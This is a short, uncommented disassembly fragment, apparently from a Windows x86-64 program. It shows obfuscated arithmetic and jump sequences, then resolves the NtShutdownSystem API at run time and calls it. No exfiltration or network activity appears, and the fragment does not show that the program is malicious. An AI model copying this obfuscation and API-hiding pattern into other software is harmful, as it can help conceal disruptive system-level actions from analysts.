lea ebx, [r9 + rdx]
add bl, 0x80
inc r8
dec r10
inc r10
jmp 0x140055743
lea edx, [r10 + 0x80]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea ebx, [r9 + rdx]
add bl, 0x80
dec r10
inc r10
jmp 0x140055743
movabs rcx, 0x2f7796ee1244380
add rcx, r10
and dil, cl
add dil, dil
sub cl, dil
lea ebx, [r9 + rcx]
add bl, 0x80
movzx ecx, bl
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r10, rdx
inc r10
jmp 0x140055743
movabs rcx, 0xfd287a4b0c1680
add rcx, r10
and dil, cl
add dil, dil
sub cl, dil
lea ebx, [r9 + rcx]
add bl, 0x80
movzx ecx, byte [rbp + r10 - 0x28]
add rcx, r8
add r10, rcx
inc r10
jmp 0x140055743
movzx ecx, r9b
and cl, r11b
add cl, cl
sub r9b, cl
lea ebx, [r11 + r9]
add bl, 0x80
jmp 0x140055738
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea ebx, [r11 + r9]
add bl, 0x80
jmp 0x140055732
lea rcx, [rbp + 0x17509d8]
jmp 0x140055f1e
lea rcx, [rbp + 0x1391158]
jmp 0x140055f1e
lea rcx, [rbp - 0x28]
xor r8d, r8d
mov rdx, rsi
call fcn.14004ced0
mov qword [0x1402304f0], rax
lea rcx, [0x140230508]
call fcn.14019b2a4
mov r9, r12
mov r8, r13
mov rdx, qword [0x1402304f0]
mov rcx, qword [rbp + 0x40]
mov rbx, qword [rsp + 0xb8]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
jmp 0x1400599e0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x58]
mov rbx, r9
mov rsi, qword [0x1402304f0]
mov rdi, r8
mov edx, 4
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140230598], eax
jle 0x140059a5d
lea rcx, [0x140230598]
call fcn.14019b310
cmp dword [0x140230598], 0xffffffff
jne 0x140059a5d
lea rcx, [0x1401bdba8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtShutdownSystem
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140230598]
mov qword [0x1402304f8], rax
call fcn.14019b2a4
mov rcx, qword [0x140230490]
mov rdx, rsi
call fcn.14004f7d0
mov rax, qword [0x1402304f8]
mov rdx, rbx
mov rcx, rdi
call rax
mov rcx, qword [0x140230490]
mov rbx, rax
call fcn.14004f9d0
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret